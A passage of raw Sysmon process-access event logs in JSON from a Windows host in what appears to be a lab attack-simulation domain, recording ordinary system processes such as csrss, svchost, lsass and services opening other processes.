C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2236","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nTargetProcessId: 2312\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","TargetProcessId":"2312","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2396\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2396","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 